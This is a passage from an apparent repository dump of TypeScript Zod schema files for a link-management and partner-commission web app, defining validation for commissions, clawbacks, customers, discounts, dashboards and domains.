.describe(\n        \"Filter the list of commissions by the associated partner's `tenantId` (their unique ID within your database).\",\n      ),\n    groupId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of commissions by the associated partner group.\",\n      ),\n    invoiceId: z\n      .string()\n      .optional()\n      .describe(\n        \"Filter the list of commissions by the associated invoice. Since invoiceId is unique on a per-program basis, this will only return one commission per invoice.\",\n      ),\n    status: z\n      .enum(CommissionStatus)\n      .optional()\n      .describe(\n        \"Filter the list of commissions by their corresponding status.\",\n      ),\n    sortBy: z\n      .enum([\"createdAt\", \"amount\"])\n      .default(\"createdAt\")\n      .describe(\"The field to sort the list of commissions by.\"),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .default(\"desc\")\n      .describe(\"The sort order for the list of commissions.\"),\n    interval: z\n      .enum(DATE_RANGE_INTERVAL_PRESETS)\n      .default(\"all\")\n      .describe(\"The interval to retrieve commissions for.\"),\n    start: parseDateSchema\n      .optional()\n      .describe(\n        \"The start date of the date range to filter the commissions by.\",\n      ),\n    end: parseDateSchema\n      .optional()\n      .describe(\"The end date of the date range to filter the commissions by.\"),\n    timezone: z.string().optional(),\n  })\n  .extend({\n    ...getCursorPaginationQuerySchema({\n      example: \"cm_1KAP4CGN2Z5TPYYQ1W4JEYD56\",\n    }),\n    ...getPaginationQuerySchema({\n      pageSize: COMMISSIONS_MAX_PAGE_SIZE,\n      deprecated: true,\n    }),\n  });\n\nexport const getCommissionsCountQuerySchema = getCommissionsQuerySchema.omit({\n  page: true,\n  pageSize: true,\n  sortOrder: true,\n  sortBy: true,\n  startingAfter: true,\n  endingBefore: true,\n});\n\nexport const createCommissionSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  commissionType: z.enum(CommissionType),\n  useExistingEvents: z.boolean(),\n\n  // Custom\n  date: parseDateSchema.nullish(),\n  amount: z.number().min(0).nullish(),\n  description: z.string().max(190).nullish(),\n\n  // Lead\n  customerId: z.string().nullish(),\n  linkId: z.string().nullish(),\n  leadEventDate: parseDateSchema.nullish(),\n  leadEventName: z.string().nullish(),\n\n  // Sale\n  saleEventDate: parseDateSchema.nullish(),\n  saleAmount: centsSchema.pipe(z.number().min(0)).nullish(),\n  invoiceId: z.string().nullish(),\n  productId: z.string().nullish(),\n});\n\nexport const updateCommissionSchema = z.object({\n  amount: z\n    .number()\n    .min(0)\n    .describe(\n      \"The new absolute amount for the sale. Paid commissions cannot be updated.\",\n    )\n    .optional(),\n  modifyAmount: z\n    .number()\n    .describe(\n      \"Modify the current sale amount: use positive values to increase the amount, negative values to decrease it. Takes precedence over `amount`. Paid commissions cannot be updated.\",\n    )\n    .optional(),\n  currency: z\n    .string()\n    .default(\"usd\")\n    .transform((val) => val.toLowerCase())\n    .describe(\n      \"The currency of the sale amount to update. Accepts ISO 4217 currency codes.\",\n    ),\n  status: z\n    .enum([\"refunded\", \"duplicate\", \"canceled\", \"fraud\"])\n    .optional()\n    .describe(\n      \"Useful for marking a commission as refunded, duplicate, canceled, or fraudulent. Takes precedence over `amount` and `modifyAmount`. When a commission is marked as refunded, duplicate, canceled, or fraudulent, it will be omitted from the payout, and the payout amount will be recalculated accordingly. Paid commissions cannot be updated.\",\n    ),\n});\n\nexport const CLAWBACK_REASONS = [\n  {\n    value: \"order_canceled\",\n    label: \"Order Canceled\",\n    description: \"Order was canceled or refunded.\",\n  },\n  {\n    value: \"fraud\",\n    label: \"Fraud\",\n    description: \"Fraudulent or invalid transaction.\",\n  },\n  {\n    value: \"terms_violation\",\n    label: \"Terms Violation\",\n    description: \"Partner broke program rules.\",\n  },\n  {\n    value: \"tracking_error\",\n    label: \"Tracking Error\",\n    description: \"Commission was assigned by mistake.\",\n  },\n  {\n    value: \"payment_failed\",\n    label: \"Payment Failed\",\n    description: \"Customer payment failed or was reversed.\",\n  },\n  {\n    value: \"ineligible_partner\",\n    label: \"Ineligible Partner\",\n    description: \"Partner was not eligible for this reward.\",\n  },\n  {\n    value: \"duplicate_commission\",\n    label: \"Duplicate Commission\",\n    description: \"Commission was a duplicate entry.\",\n  },\n  {\n    value: \"other\",\n    label: \"Other\",\n    description: \"Other issue not listed.\",\n  },\n];\n\nexport const CLAWBACK_REASONS_MAP = Object.fromEntries(\n  CLAWBACK_REASONS.map((r) => [r.value, r]),\n);\n\nexport const createClawbackSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  amount: z.number().gt(0, \"Amount must be greater than 0.\"),\n  description: z.enum(\n    CLAWBACK_REASONS.map((r) => r.value) as [string, ...string[]],\n  ),\n});\n\nexport const COMMISSION_EXPORT_COLUMNS = [\n  { id: \"id\", label: \"ID\", type: \"string\", default: true },\n  { id: \"type\", label: \"Type\", type: \"string\", default: true },\n  { id: \"amount\", label: \"Amount\", type: \"number\", default: true },\n  { id: \"earnings\", label: \"Earnings\", type: \"number\", default: true },\n  { id: \"currency\", label: \"Currency\", type: \"string\", default: true },\n  { id: \"status\", label: \"Status\", type: \"string\", default: true },\n  { id: \"invoiceId\", label: \"Invoice ID\", type: \"string\", default: true },\n  { id: \"quantity\", label: \"Quantity\", type: \"number\", default: true },\n  { id: \"createdAt\", label: \"Created at\", type: \"date\", default: true },\n  { id: \"updatedAt\", label: \"Updated at\", type: \"date\", default: false },\n  { id: \"partnerId\", label: \"Partner ID\", type: \"string\", default: false },\n  { id: \"partnerName\", label: \"Partner name\", type: \"string\", default: false },\n  {\n    id: \"partnerEmail\",\n    label: \"Partner email\",\n    type: \"string\",\n    default: false,\n  },\n  {\n    id: \"partnerTenantId\",\n    label: \"Partner tenant ID\",\n    type: \"string\",\n    default: false,\n  },\n  { id: \"customerId\", label: \"Customer ID\", type: \"string\", default: false },\n  {\n    id: \"customerName\",\n    label: \"Customer name\",\n    type: \"string\",\n    default: false,\n  },\n  {\n    id: \"customerEmail\",\n    label: \"Customer email\",\n    type: \"string\",\n    default: false,\n  },\n  {\n    id: \"customerExternalId\",\n    label: \"Customer external ID\",\n    type: \"string\",\n    default: false,\n  },\n] as const;\n\ntype CommissionExportColumnId =\n  (typeof COMMISSION_EXPORT_COLUMNS)[number][\"id\"];\n\nexport const DEFAULT_COMMISSION_EXPORT_COLUMNS =\n  COMMISSION_EXPORT_COLUMNS.filter((column) => column.default).map(\n    (column) => column.id,\n  );\n\nexport const commissionsExportQuerySchema = getCommissionsQuerySchema\n  .omit({\n    page: true,\n    pageSize: true,\n    startingAfter: true,\n    endingBefore: true,\n  })\n  .extend({\n    columns: z\n      .string()\n      .default(DEFAULT_COMMISSION_EXPORT_COLUMNS.join(\",\"))\n      .transform((v) => v.split(\",\"))\n      .refine(\n        (columns): columns is CommissionExportColumnId[] => {\n          const validColumnIds = COMMISSION_EXPORT_COLUMNS.map((col) => col.id);\n\n          return columns.every((column): column is CommissionExportColumnId =>\n            validColumnIds.includes(column as CommissionExportColumnId),\n          );\n        },\n        {\n          message:\n            \"Invalid column IDs provided. Please check the available columns.\",\n        },\n      ),\n  });\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/customer-activity.ts",
    "content": "import * as z from \"zod/v4\";\nimport { LinkSchema } from \"./links\";\n\nexport const customerActivityResponseSchema = z.object({\n  events: z.array(z.any()), // we've already parsed the events in get-customer-events.ts\n  link: LinkSchema.pick({\n    id: true,\n    domain: true,\n    key: true,\n    shortLink: true,\n  }).nullish(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/customers.ts",
    "content": "import * as z from \"zod/v4\";\nimport { DiscountSchema } from \"./discount\";\nimport { LinkSchema } from \"./links\";\nimport {\n  booleanQuerySchema,\n  getCursorPaginationQuerySchema,\n  getPaginationQuerySchema,\n} from \"./misc\";\nimport { PartnerSchema } from \"./partners\";\nimport { centsSchema } from \"./utils\";\n\nexport const CUSTOMERS_MAX_PAGE_SIZE = 100;\n\nexport const getCustomersQuerySchema = z\n  .object({\n    email: z\n      .string()\n      .optional()\n      .describe(\n        \"A case-sensitive filter on the list based on the customer's `email` field. The value must be a string. Takes precedence over `externalId`.\",\n      ),\n    externalId: z\n      .string()\n      .optional()\n      .describe(\n        \"A case-sensitive filter on the list based on the customer's `externalId` field. The value must be a string. Takes precedence over `search`.\",\n      ),\n    search: z\n      .string()\n      .optional()\n      .describe(\n        \"A search query to filter customers by email, externalId, or name. If `email` or `externalId` is provided, this will be ignored.\",\n      ),\n    country: z\n      .string()\n      .optional()\n      .describe(\n        \"A filter on the list based on the customer's `country` field.\",\n      ),\n    linkId: z\n      .string()\n      .optional()\n      .describe(\n        \"A filter on the list based on the customer's `linkId` field (the referral link ID).\",\n      ),\n    programId: z.string().optional().describe(\"Program ID to filter by.\"),\n    partnerId: z.string().optional().describe(\"Partner ID to filter by.\"),\n    includeExpandedFields: booleanQuerySchema\n      .optional()\n      .describe(\n        \"Whether to include expanded fields on the customer (`link`, `partner`, `discount`).\",\n      ),\n    sortBy: z\n      .enum([\n        \"createdAt\",\n        \"saleAmount\",\n        \"firstSaleAt\",\n        \"subscriptionCanceledAt\",\n      ])\n      .optional()\n      .default(\"createdAt\")\n      .describe(\n        \"The field to sort the customers by. The default is `createdAt`.\",\n      ),\n    sortOrder: z\n      .enum([\"asc\", \"desc\"])\n      .optional()\n      .default(\"desc\")\n      .describe(\"The sort order. The default is `desc`.\"),\n  })\n  .extend({\n    ...getCursorPaginationQuerySchema({\n      example: \"cus_1KAP4CDPBSVMMBMH9XX3YZZ0Z\",\n    }),\n    ...getPaginationQuerySchema({\n      pageSize: CUSTOMERS_MAX_PAGE_SIZE,\n      deprecated: true,\n    }),\n  });\n\nexport const getCustomersQuerySchemaExtended = getCustomersQuerySchema.extend({\n  customerIds: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .nullish()\n    .describe(\"Customer IDs to filter by.\"),\n});\n\nexport const getCustomersCountQuerySchema = getCustomersQuerySchema\n  .omit({\n    includeExpandedFields: true,\n    page: true,\n    pageSize: true,\n    sortBy: true,\n    sortOrder: true,\n    startingAfter: true,\n    endingBefore: true,\n  })\n  .extend({ groupBy: z.enum([\"country\", \"linkId\", \"partnerId\"]).optional() });\n\nexport const createCustomerBodySchema = z.object({\n  email: z.email().nullish().describe(\"The customer's email address.\"),\n  name: z\n    .string()\n    .nullish()\n    .describe(\n      \"The customer's name. If not provided, the email address will be used, and if email is not provided, a random name will be generated.\",\n    ),\n  avatar: z\n    .url()\n    .nullish()\n    .describe(\n      \"The customer's avatar URL. If not provided, a random avatar will be generated.\",\n    ),\n  externalId: z\n    .string(\"External ID is required\")\n    .describe(\n      \"The customer's unique identifier your database. This is useful for associating subsequent conversion events from Dub's API to your internal systems.\",\n    ),\n  stripeCustomerId: z\n    .string()\n    .nullish()\n    .describe(\n      \"The customer's Stripe customer ID. This is useful for attributing recurring sale events to the partner who referred the customer.\",\n    ),\n  country: z\n    .string()\n    .describe(\n      \"The customer's country in ISO 3166-1 alpha-2 format. Updating this field will only affect the customer's country in Dub's system (and has no effect on existing conversion events).\",\n    ),\n});\n\nexport const updateCustomerBodySchema = createCustomerBodySchema.partial();\n\n// used in webhook responses + regular /customers endpoints (without expanded fields)\nexport const CustomerSchema = z.object({\n  id: z\n    .string()\n    .describe(\n      \"The unique ID of the customer. You may use either the customer's `id` on Dub (obtained via `/customers` endpoint) or their `externalId` (unique ID within your system, prefixed with `ext_`, e.g. `ext_123`).\",\n    ),\n  name: z.string().describe(\"Name of the customer.\"),\n  email: z.string().nullish().describe(\"Email of the customer.\"),\n  avatar: z.string().nullish().describe(\"Avatar URL of the customer.\"),\n  externalId: z\n    .string()\n    .describe(\"Unique identifier for the customer in the client's app.\"),\n  stripeCustomerId: z\n    .string()\n    .nullish()\n    .describe(\n      \"The customer's Stripe customer ID. This is useful for attributing recurring sale events to the partner who referred the customer.\",\n    ),\n  country: z.string().nullish().describe(\"Country of the customer.\"),\n  sales: z\n    .number()\n    .nullish()\n    .describe(\"Total number of sales for the customer.\"),\n  saleAmount: centsSchema\n    .nullish()\n    .describe(\"Total amount of sales for the customer.\"),\n  createdAt: z\n    .date()\n    .describe(\n      \"The date the customer was created (usually the signup date or trial start date).\",\n    ),\n  firstSaleAt: z\n    .date()\n    .nullish()\n    .describe(\n      \"The date the customer made their first sale. Useful for calculating the time to first sale and LTV.\",\n    ),\n  subscriptionCanceledAt: z\n    .date()\n    .nullish()\n    .describe(\n      \"The date the customer canceled their subscription. Useful for calculating LTV and churn rate.\",\n    ),\n});\n\n// An extended schema that includes the customer's link, partner, and discount.\nexport const CustomerEnrichedSchema = CustomerSchema.extend({\n  link: LinkSchema.pick({\n    id: true,\n    domain: true,\n    key: true,\n    shortLink: true,\n    url: true,\n    programId: true,\n  }).nullish(),\n  programId: z.string().nullish(),\n  partner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n  }).nullish(),\n  discount: DiscountSchema.omit({\n    autoProvisionEnabledAt: true,\n  }).nullish(),\n});\n\nexport const StripeCustomerSchema = z.object({\n  id: z.string(),\n  email: z.string().nullable(),\n  name: z.string().nullable(),\n  country: z.string().nullable(),\n  subscriptions: z.number(),\n  dubCustomerId: z.string().nullable(),\n});\n\nexport const StripeCustomerInvoiceSchema = z.object({\n  id: z.string(),\n  amount: z.number(),\n  createdAt: z.date(),\n  metadata: z.any(),\n  dubCommissionId: z.string().nullish(),\n});\n\nexport const CUSTOMER_EXPORT_COLUMNS = [\n  {\n    id: \"id\",\n    label: \"ID\",\n    type: \"string\",\n    default: true,\n    order: 1,\n    programOnly: false,\n  },\n  {\n    id: \"name\",\n    label: \"Name\",\n    type: \"string\",\n    default: true,\n    order: 2,\n    programOnly: false,\n  },\n  {\n    id: \"email\",\n    label: \"Email\",\n    type: \"string\",\n    default: true,\n    order: 3,\n    programOnly: false,\n  },\n  {\n    id: \"avatar\",\n    label: \"Avatar\",\n    type: \"string\",\n    default: true,\n    order: 4,\n    programOnly: false,\n  },\n  {\n    id: \"externalId\",\n    label: \"External ID\",\n    type: \"string\",\n    default: true,\n    order: 5,\n    programOnly: false,\n  },\n  {\n    id: \"stripeCustomerId\",\n    label: \"Stripe customer ID\",\n    type: \"string\",\n    default: true,\n    order: 6,\n    programOnly: false,\n  },\n  {\n    id: \"country\",\n    label: \"Country\",\n    type: \"string\",\n    default: true,\n    order: 7,\n    programOnly: false,\n  },\n  {\n    id: \"sales\",\n    label: \"Sales\",\n    type: \"number\",\n    default: true,\n    order: 8,\n    programOnly: false,\n  },\n  {\n    id: \"saleAmount\",\n    label: \"Sale amount\",\n    type: \"number\",\n    default: true,\n    order: 9,\n    programOnly: false,\n  },\n  {\n    id: \"createdAt\",\n    label: \"Created at\",\n    type: \"date\",\n    default: true,\n    order: 10,\n    programOnly: false,\n  },\n  {\n    id: \"firstSaleAt\",\n    label: \"First sale at\",\n    type: \"date\",\n    default: true,\n    order: 11,\n    programOnly: false,\n  },\n  {\n    id: \"subscriptionCanceledAt\",\n    label: \"Subscription canceled\",\n    type: \"date\",\n    default: true,\n    order: 12,\n    programOnly: false,\n  },\n  {\n    id: \"link\",\n    label: \"Link\",\n    type: \"string\",\n    default: false,\n    order: 13,\n    programOnly: false,\n  },\n  {\n    id: \"partnerId\",\n    label: \"Partner ID\",\n    type: \"string\",\n    default: false,\n    order: 14,\n    programOnly: true,\n  },\n  {\n    id: \"partnerName\",\n    label: \"Partner name\",\n    type: \"string\",\n    default: false,\n    order: 15,\n    programOnly: true,\n  },\n  {\n    id: \"partnerEmail\",\n    label: \"Partner email\",\n    type: \"string\",\n    default: false,\n    order: 16,\n    programOnly: true,\n  },\n  {\n    id: \"partnerTenantId\",\n    label: \"Partner tenant ID\",\n    type: \"string\",\n    default: false,\n    order: 17,\n    programOnly: true,\n  },\n] as const;\n\ntype CustomerExportColumnId = (typeof CUSTOMER_EXPORT_COLUMNS)[number][\"id\"];\n\nexport const CUSTOMER_EXPORT_DEFAULT_COLUMNS = CUSTOMER_EXPORT_COLUMNS.filter(\n  (column) => column.default,\n).map((column) => column.id);\n\nexport const customersExportQuerySchema = getCustomersQuerySchema\n  .omit({\n    page: true,\n    pageSize: true,\n    includeExpandedFields: true,\n  })\n  .extend({\n    columns: z\n      .string()\n      .optional()\n      .default(CUSTOMER_EXPORT_DEFAULT_COLUMNS.join(\",\"))\n      .transform((v) => v.split(\",\"))\n      .refine(\n        (columns) => {\n          const validColumnIds = CUSTOMER_EXPORT_COLUMNS.map((col) => col.id);\n\n          return columns.every((column: CustomerExportColumnId) =>\n            validColumnIds.includes(column),\n          );\n        },\n        {\n          message:\n            \"Invalid column IDs provided. Please check the available columns.\",\n        },\n      ),\n  });\n\nexport const customersExportCronInputSchema = customersExportQuerySchema.extend(\n  {\n    workspaceId: z.string(),\n    programId: z.string().optional(),\n    userId: z.string(),\n  },\n);\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/dashboard.ts",
    "content": "import * as z from \"zod/v4\";\nimport { domainKeySchema } from \"./links\";\n\nexport const dashboardSchema = z.object({\n  id: z.string(),\n  linkId: z.string().nullable(),\n  folderId: z.string().nullable(),\n  projectId: z.string().nullable(),\n  userId: z.string().nullable(),\n  password: z.string().nullable(),\n  showConversions: z.boolean(),\n  doIndex: z.boolean(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\nexport const createDashboardQuerySchema = domainKeySchema.or(\n  z.object({\n    folderId: z.string(),\n  }),\n);\n\nexport const updateDashboardBodySchema = dashboardSchema.pick({\n  showConversions: true,\n  doIndex: true,\n  password: true,\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/deep-links.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const deepViewDataSchema = z\n  .object({\n    ios: z.any(),\n    android: z.any(),\n  })\n  .nullish();\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/deprecated.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const commonDeprecatedEventFields = z.object({\n  click_id: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.id` instead.\",\n  }),\n  link_id: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `link.id` instead.\",\n  }),\n  domain: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `link.domain` instead.\",\n  }),\n  key: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `link.key` instead.\",\n  }),\n  url: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.url` instead.\",\n  }),\n  continent: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.continent` instead.\",\n  }),\n  country: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.country` instead.\",\n  }),\n  city: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.city` instead.\",\n  }),\n  device: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.device` instead.\",\n  }),\n  browser: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.browser` instead.\",\n  }),\n  os: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.os` instead.\",\n  }),\n  qr: z.number().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.qr` instead.\",\n  }),\n  ip: z.string().meta({\n    deprecated: true,\n    description: \"Deprecated: Use `click.ip` instead.\",\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/discount.ts",
    "content": "import { RewardStructure } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { getPaginationQuerySchema, maxDurationSchema } from \"./misc\";\n\nexport const DiscountSchema = z.object({\n  id: z.string(),\n  amount: z.number(),\n  type: z.enum(RewardStructure),\n  maxDuration: z.number().nullable(),\n  couponId: z.string().nullable(),\n  couponTestId: z.string().nullable(),\n  description: z.string().nullish(),\n  partnersCount: z.number().nullish(),\n  autoProvisionEnabledAt: z.coerce.date().nullish(),\n});\n\nexport const DiscountSchemaWithDeprecatedFields = DiscountSchema.omit({\n  autoProvisionEnabledAt: true,\n})\n  .extend({\n    duration: z\n      .number()\n      .nullish()\n      .describe(\"Deprecated: Use `maxDuration` instead\"),\n    interval: z.string().nullish().describe(\"Deprecated: Defaults to `month`\"),\n  })\n  .nullish();\n\nexport const createDiscountSchema = z.object({\n  workspaceId: z.string(),\n  amount: z.number().min(0),\n  type: z.enum(RewardStructure).default(\"flat\"),\n  maxDuration: maxDurationSchema,\n  couponId: z.string(),\n  couponTestId: z.string().nullish(),\n  groupId: z.string(),\n  autoProvision: z.boolean().optional(),\n});\n\nexport const updateDiscountSchema = createDiscountSchema\n  .pick({\n    workspaceId: true,\n    couponTestId: true,\n    autoProvision: true,\n  })\n  .extend({\n    discountId: z.string(),\n  });\n\nexport const discountPartnersQuerySchema = z\n  .object({\n    discountId: z.string(),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: 25 }));\n\nexport const DiscountCodeSchema = z.object({\n  id: z.string(),\n  code: z.string(),\n  discountId: z.string().nullable(),\n  partnerId: z.string(),\n  linkId: z.string(),\n});\n\nexport const createDiscountCodeSchema = z.object({\n  code: z\n    .string()\n    .max(100, \"Code must be less than 100 characters.\")\n    .optional(),\n  partnerId: z.string(),\n  linkId: z.string(),\n});\n\nexport const getDiscountCodesQuerySchema = z.object({\n  partnerId: z.string(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/domains.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport * as z from \"zod/v4\";\nimport {\n  booleanQuerySchema,\n  getPaginationQuerySchema,\n  uploadedImageSchema,\n} from \"./misc\";\nimport { parseUrlSchemaAllowEmpty } from \"./utils\";\n\nexport const RegisteredDomainSchema = z.object({\n  id: z.string().describe(\"The ID of the registered domain record.\"),\n  autoRenewalDisabledAt: z\n    .date()\n    .nullable()\n    .describe(\"The date the domain auto-renew is disabled.\"),\n  createdAt: z.date().describe(\"The date the domain was created.\"),\n  expiresAt: z.date().describe(\"The date the domain expires.\"),\n  renewalFee: z.number().describe(\"The fee to renew the domain.\"),\n});\n\nexport const DomainSchema = z.object({\n  id: z.string().describe(\"The unique identifier of the domain.\"),\n  slug: z.string().describe(\"The domain name.\").meta({ example: \"acme.com\" }),\n  verified: z\n    .boolean()\n    .default(false)\n    .describe(\"Whether the domain is verified.\"),\n  primary: z\n    .boolean()\n    .default(false)\n    .describe(\"Whether the domain is the primary domain for the workspace.\"),\n  archived: z\n    .boolean()\n    .describe(\"Whether the domain is archived.\")\n    .default(false),\n  placeholder: z\n    .string()\n    .nullable()\n    .describe(\n      \"Provide context to your teammates in the link creation modal by showing them an example of a link to be shortened.\",\n    )\n    .meta({ example: \"https://dub.co/help/article/dub-links\" }),\n  expiredUrl: z\n    .string()\n    .nullable()\n    .describe(\n      \"The URL to redirect to when a link under this domain has expired.\",\n    )\n    .meta({ example: \"https://acme.com/expired\" }),\n  notFoundUrl: z\n    .string()\n    .nullable()\n    .describe(\n      \"The URL to redirect to when a link under this domain doesn't exist.\",\n    )\n    .meta({ example: \"https://acme.com/not-found\" }),\n  logo: z.string().nullable().describe(\"The logo of the domain.\"),\n  assetLinks: z\n    .string()\n    .nullable()\n    .default(null)\n    .describe(\n      \"assetLinks.json configuration file (for deep link support on Android).\",\n    ),\n  appleAppSiteAssociation: z\n    .string()\n    .nullable()\n    .default(null)\n    .describe(\n      \"apple-app-site-association configuration file (for deep link support on iOS).\",\n    ),\n  createdAt: z.date().describe(\"The date the domain was created.\"),\n  updatedAt: z.date().describe(\"The date the domain was last updated.\"),\n  registeredDomain: RegisteredDomainSchema.nullable().describe(\n    \"The registered domain record.\",\n  ),\n});\n\nexport const DOMAINS_MAX_PAGE_SIZE = 50;\n\nexport const getDomainsQuerySchema = z\n  .object({\n    archived: booleanQuerySchema\n      .optional()\n      .default(false)\n      .describe(\n        \"Whether to include archived domains in the response. Defaults to `false` if not provided.\",\n      ),\n    search: z\n      .string()\n      .optional()\n      .describe(\"The search term to filter the domains by.\"),\n  })\n  .extend(getPaginationQuerySchema({ pageSize: DOMAINS_MAX_PAGE_SIZE }));\n\nexport const getDomainsQuerySchemaExtended = getDomainsQuerySchema.extend({\n  // only Dub UI uses the following query parameters\n  includeLink: booleanQuerySchema.default(false),\n});\n\nexport const getDomainsCountQuerySchema = getDomainsQuerySchema.omit({\n  page: true,\n});\n\nexport const getDefaultDomainsQuerySchema = getDomainsQuerySchema.pick({\n  search: true,\n});\n\nexport const createDomainBodySchema = z.object({\n  slug: z\n    .string({ error: \"slug is required\" })\n    .min(1, \"slug cannot be empty.\")\n    .max(190, \"slug cannot be longer than 190 characters.\")\n    .trim()\n    .describe(\"Name of the domain.\")\n    .meta({ example: \"acme.com\" }),\n  expiredUrl: parseUrlSchemaAllowEmpty({ trim: true })\n    .nullish()\n    .transform((v) => v || null)\n    .describe(\n      \"Redirect users to a specific URL when any link under this domain has expired.\",\n    )\n    .meta({ example: \"https://acme.com/expired\" }),\n  notFoundUrl: parseUrlSchemaAllowEmpty({ trim: true })\n    .nullish()\n    .transform((v) => v || null)\n    .describe(\n      \"Redirect users to a specific URL when a link under this domain doesn't exist.\",\n    )\n    .meta({ example: \"https://acme.com/not-found\" }),\n  archived: z\n    .boolean()\n    .optional()\n    .default(false)\n    .describe(\n      \"Whether to archive this domain. `false` will unarchive a previously archived domain.\",\n    )\n    .meta({ example: false }),\n  placeholder: parseUrlSchemaAllowEmpty({ maxLength: 100, trim: true })\n    .nullish()\n    .transform((v) => v || null)\n    .describe(\n      \"Provide context to your teammates in the link creation modal by showing them an example of a link to be shortened.\",\n    )\n    .meta({ example: \"https://dub.co/help/article/dub-links\" }),\n  logo: uploadedImageSchema.nullish().describe(\"The logo of the domain.\"),\n  assetLinks: z\n    .string()\n    .nullish()\n    .describe(\n      \"assetLinks.json configuration file (for deep link support on Android).\",\n    ),\n  appleAppSiteAssociation: z\n    .string()\n    .nullish()\n    .describe(\n      \"apple-app-site-association configuration file (for deep link support on iOS).\",\n    ),\n});\n\nexport const createDomainBodySchemaExtended = createDomainBodySchema.extend({\n  deepviewData: z.string().nullish(),\n});\n\nexport const updateDomainBodySchema = createDomainBodySchema.partial();\n\nexport const transferDomainBodySchema = z.object({\n  newWorkspaceId: z\n    .string({ error: \"New workspace ID is required.\" })\n    .min(1, \"New workspace ID cannot be empty.\")\n    .transform((v) => normalizeWorkspaceId(v))\n    .describe(\"The ID of the new workspace to transfer the domain to.\"),\n});\n\nexport const registerDomainSchema = z.object({\n  domain: z\n    .string()\n    .min(1, \"Domain to register is required.\")\n    .endsWith(\".link\")\n    .transform((domain) => domain.toLowerCase())\n    .describe(\"The domain to claim. We only support .link domains for now.\")\n    .meta({ example: \"acme.link\" }),\n});\n\nexport const searchDomainSchema = z.object({\n  domains: z\n    .union([z.string(), z.array(z.string())])\n    .transform((v) => (Array.isArray(v) ? v : v.split(\",\")))\n    .transform((domains) =>\n      domains\n        .map((domain) => domain.toLowerCase())\n        .filter((domain) => domain.endsWith(\".link\")),\n    )\n    .describe(\"The domains to search. We only support .link domains for now.\")\n    .meta({\n      param: {\n        style: \"form\",\n        explode: false,\n      },\n      anyOf: [\n        {\n          type: \"string\",\n        },\n        {\n          type: \"array\",\n          items: {\n            type: \"string\",\n          },\n        },\n      ],\n    }),\n});\n\nexport const DomainStatusSchema = z.object({\n  domain: z.string().describe(\"The domain name.\"),\n  available: z.boolean().describe(\"Whether the domain is available.\"),\n  price: z.string().nullable().describe(\"The price description.\"),\n  premium: z\n    .boolean()\n    .nullable()\n    .describe(\"Whether the domain is a premium domain.\"),\n});\n\nexport const RegisterDomainSchema = z.object({\n  domain: z.string().describe(\"The domain name.\"),\n  status: z.string().describe(\"The status of the domain registration.\"),\n  expiration: z\n    .number()\n    .describe(\n      \"The expiration timestamp of the domain (Unix timestamp in milliseconds).\",\n    )\n    .nullable(),\n});\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/email-domains.ts",
    "content": "import {\n  isValidDomain,\n  isValidDomainFormat,\n} from \"@/lib/api/domains/is-valid-domain\";\nimport { EmailDomainStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport const EmailDomainSchema = z.object({\n  id: z.string(),\n  slug: z.string(),\n  status: z.enum(EmailDomainStatus),\n  resendDomainId: z.string().nullable(),\n  lastChecked: z.date(),\n  createdAt: z.date(),\n  updatedAt: z.date(),\n});\n\nexport const createEmailDomainBodySchema = z.object({\n  slug: z\n    .string({ error: \"Email domain is required\" })\n    .min(5, \"Email domain is too short\")\n    .max(50, \"Email domain is too long\")\n    .refine(isValidDomainFormat, { message: \"Please use a valid domain name.\" })\n    .refine(isValidDomain, {\n      message: \"You are not allowed to use this domain name\",\n    })\n    .transform((value) => value.toLowerCase()),\n});\n\nexport const updateEmailDomainBodySchema =\n  createEmailDomainBodySchema.partial();\n"
  },
  {
    "path": "apps/web/lib/zod/schemas/folders.ts",
